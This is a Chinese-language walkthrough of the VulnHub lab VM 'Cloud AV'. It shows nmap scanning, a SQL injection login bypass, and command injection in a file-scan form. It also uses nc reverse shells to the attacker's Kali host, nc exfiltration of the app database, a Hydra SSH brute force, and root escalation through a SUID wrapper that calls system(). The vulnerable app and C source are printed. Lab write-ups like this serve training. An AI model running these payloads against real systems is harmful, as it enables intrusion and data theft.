Name: BoredHackerBlog: Cloud AV
Date release: 29 Mar 2020
Author: BoredHackerBlog
Series: BoredHackerBlog
Download:https://download.vulnhub.com/boredhackerblog/easy_cloudantivirus.ova
Description:
Cloud Anti-Virus Scanner! is a cloud-based antivirus scanning service.
Currently, it’s in beta mode. You’ve been asked to test the setup and find vulnerabilities and escalate privs.
Difficulty: Easy
Tasks involved:
- port scanning
- webapp attacks
- sql injection
- command injection
- brute forcing
- code analysis
Virtual Machine:
- Format: Virtual Machine (Virtualbox OVA)
- Operating System: Linux
Networking:
- DHCP Service: Enabled
- IP Address Automatically assign
This works better with VirtualBox rather than VMware.
一、信息收集
1.主机发现
1 | ifconfig |
kali的IP为10.0.2.4
对10.0.2.0/24网段内的IP发送包进行探测发现
10.0.2.7返回数据,说明存活
2.端口扫描
1 | sudo nmap -p- 10.0.2.7 |
结果显示目标靶机开放了22,8080端口
3.端口服务扫描发现
1 | sudo nmap -p22,8080 -sV 10.0.2.7 |
目标系统为Ubuntu 且开放了22端口为SSH服务
8080端口的Werkzeug是基于Python2.7环境
补充:Werkzeug是一个WSGI工具包,Werkzeug可以作为一个 Web 框架的底层库,因为它封装好了很多 Web 框架的东西,例如 Request,Response 等等。如 Flask 框架就是以Werkzeug 为基础开发的。
二、漏洞发现与利用
1.访问页面
1 | 访问:http://10.0.10.7:8080 |
页面如图为“云防病毒平台”,并提示需提交邀请码才能登录使用
那么如何突破这个页面?
2.测试SQL注入/爆破
尝试在页面文本框内提交信息(特殊符号)来服务端后端有没有对用户提交的敏感字符(不同语言环境下存在不同作用/意义的字符)进行过滤,若未过滤则有可能发生报错或会返回错误信息。
配置浏览器代理,使用BurpSuite对符号进行检测
对页面进行测试后,通过长度判断,发现输入双引号(“)可能产生了闭合,改变原语句执行语义,导致报错,报错页面如下图,判断存在注入漏洞
发现报错页面存在疑似查询语句
‘select * from code where password=”‘ + password + ‘“‘
省去单引号
select * from code where password=” + password + “
尝试通过此语句构造payload
输入**1” or 1=1–+**提交后成功利用注入漏洞跨过了“invite code”验证,进入“云防病毒平台”页面
3.命令注入
可以发现这个页面的所显示的信息是ls -l命令执行的结果,在结合页面下的”File Name”文本框 和”Scan!”提交按钮,可以联想到页面背后的功能实现过程大概是一个“病毒攻击/平台”对文件扫描的功能,代码逻辑可能类似如下
1 | xxxScanner 文件名 |
那么是否可以产生使用管道符(|)连接执行其他命令呢?下面进行尝试
1 | hello | ls |
1 | hello | id |
在等待服务端响应后,确实执行了ls和id,并在页面返回了相应的结果,即存在命令注入漏洞,那么是否可以反弹shell?
思路1:结合先前扫描结果,可以得到目标系统的语言环境是Python2.7.15,故可以利用Python反弹shell
思路2:利用nc反弹shell
(为了学习更多的攻击方法,选用思路2)
4.使用nc建立连接
确认目标系统是否存在nc命令
1 | hello | which nc |
补充:**| 表示管道符,上一条命令的输出,作为下一条命令参数**
目标系统存在nc命令,可正常进行后续操作
在Kali端:
1 | ip a |
确认Kali地址为10.0.2.4
nc监听端口4444
1 | nc -nvlp 4444 |
在浏览器端:
使用nc反弹连接kali端的监听,在实验-e参数执行一个shell终端
1 | hello | nc 10.0.2.4 4444 -e /bin/sh |
执行后,并没有监听端口成功连接,怀疑该系统的系统版本下的nc不支持-e参数,所以这里我们先去除-e参数,尝试连接
1 | hello | nc 10.0.2.4 4444 |
成功建立连接,尝试输入命令
1 | ls |
1 | id |
结果发现不能执行来返回结果
故采用多个管道符(|),此法暂且称为“nc管道符串联”
在Kali上同时监听5555和6666端口:
1 | nc -nvlp 5555 |
1 | nc -nvlp 6666 |
在浏览器端 采用“nc管道符串联”:
1 | hello | nc 10.0.2.4 5555 | /bin/bash | nc 10.0.2.4 6666 |
kali端显示两个端口都成功连接
5.信息收集/ssh爆破
尝试在5555端口监听窗口输入命令,发现执行结果会在6666端口监听窗口显示,成功
登录到目标系统后,查看文件
1 | ls -l |
查看app.py
1 | cat app.py |
from flask import Flask, render_template, request, session
import sqlite3
import subprocess
import osconn = sqlite3.connect(‘database.sql’,check_same_thread = False)
c = conn.cursor()app = Flask(name)
@app.route(‘/‘)
def index():
return render_template(‘index.html’)@app.route(‘/login’, methods=[‘POST’])
def login():
password = request.form[‘password’]
if len(c.execute(‘select * from code where password=”‘ + password + ‘“‘).fetchall()) > 0:
session[‘logged_in’] = True
return ‘Redirecting to /scan. ‘
else:
return “WRONG INFORMATION”@app.route(‘/scan’)
def shop():
if session.get(‘logged_in’):
filelist = subprocess.Popen(“ls -l /home/scanner/cloudav_app/samples”, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).stdout.read()
return render_template(‘scan.html’,filelist=filelist)
else:
return ‘‘@app.route(‘/output’, methods=[‘POST’])
def output():
if session.get(‘logged_in’):
filename = request.form[‘filename’]
scan_results = subprocess.Popen(“clamscan “+filename, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).stdout.read()
return “" + scan_results + "“
else:
return ‘‘if name == “main“:
app.secret_key = os.urandom(12)
app.run(host=’0.0.0.0’,port=8080, debug=True)
app.py中并没有可以直接有关提权的信息
查看database.sql
1 | file database.sql |
发现数据库版本信息SQLite 3.x,再结合之前sql注入时的页面返回信息
版本信息一致,猜测是Web应用程序服务端的数据库,有可能有隐私数据,所以就有必要查看
1 | sqlite |
尝试执行发现没有相关指令
即服务端无法解析sqlite文件,那是否可以将下载到kali本机上,使用kali本机上sqlite的执行环节来查看文件database.sql
在Kali端新窗口开启nc监听7777端口,将接收到的所有连接请求都转发到db.sql文件
1 | nc -nvlp 7777 > db.sql |
在监听5555端口的窗口内,连接10.0.2.4(kali)的7777端口再通过重定向将database.sql传输到nc通道内
1 | nc 10.0.2.4 7777 < database.sql |
database.sql文件不大,很快传输完Ctrl+C结束
1 | ls |
使用kali的sqlite3环境下查看db.sql
1 | sqlite3 |
1 | .open db.sql |
1 | .database |
1 | .dump |
显示只有一个字段password,下方的INSERT语句向数据库添加了几个密码,那是否可以登录目标系统?回想发现阶段目标系统上开启ssh服务,所以进行尝试,现在寻找目标系统上的用户名
1 | cat /etc/passwd |
passwd文件中数据很多,需要做筛选过滤
筛选可以用shell权限登录系统的账号
1 | cat /etc/passwd | grep /bin/bash |
将用户名和密码都分别生成字典 准备进行爆破
1 | vi user.txt |
1 | vi pass.txt |
使用Hydra爆破
1 | hydra -L user.txt -P pass.txt ssh://10.0.2.7 |
破解完成,失望,没有正确结果,这种攻击失败了,尝试别的攻击手段
6.SUID提权
回到目标机目录下,尝试查看目录下别的文件
1 | ls |
1 | ls -l |
1 | ls samples |
发现这些文件就是Web界面那些可以进行防病毒扫描的文件
暂时没有发现有帮助的信息
1 | ls templates |
看到template下有两个Web开发页面模板文件 index.html scan.html,但也没有有帮助的信息
查看查看的目录,确认现在所在目录
1 | pwd |
去上一级目录,/home/scanner
1 | cd .. |
1 | ls |
1 | ls -la #查看隐藏文件 |
1 | ls- l |
在隐藏文件中并未发现有直接帮助的文件,但发现了.c文件
update_cloudav.c可能就是cloudav.app程序的C语言源代码,且可以看到这个程序的权限是可执行的,s也代表有suid权限位,且属主是root账号,当执行该程序时会默认继承该程序属主的权限
设想:如果可以执行这个update_cloudav.c,是否可以通过某种命令注入的方法,利用suid权限带来的root权限来执行某些系统命令来反弹shell,来完成提权?
1 | cat update_cloudav.c |
#include <stdio.h>
int main(int argc, char *argv[])
{
char *freshclam=”/usr/bin/freshclam”;if (argc < 2){
printf(“This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n”);
return 1;
}char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);
sprintf(command, “%s %s”, freshclam, argv[1]);
setgid(0);
setuid(0);
system(command);
return 0;}
包含了一些头文件,定义了一些变量,变量指向了操作系统中的文件freshclam,freshclam是给开源杀毒软件cloudav的病毒库升级的软件。这个程序定义了一个执行参数,如果程序在执行过程中不包含这个参数的话就会显示信息,要求提交一个命令行的参数,这样freshclam这个程序才能正常执行,完成病毒库的更新。如果正确使用参数,那么就会正常的运行cloudav,执行病毒库的更新。
总结一下:当我们执行update_cloudav.c时,会调用了cloudav.app的病毒更新程序freshclam,但在执行过程中要求要有运行参数。
先测试一个参数a
1 | ./update_cloudav a |
出现日志文件报错,但是不确定是否会对执行有影响,继续尝试
利用管道符串联
在kali端:
1 | nc -nvlp 7777 |
1 | nc -nvlp 8888 |
在控制目标机端:
1 | ./update_cloudav "a | nc 10.0.2.4 7777 | /bin/bash | nc 10.0.2.4 8888" |
双引号作用:让./upadte_cloudav程序在执行的时候,认为双引号内的都是参数,从而继承这个程序它的suid位的权限
1 | id |
成功拿到目标系统root权限!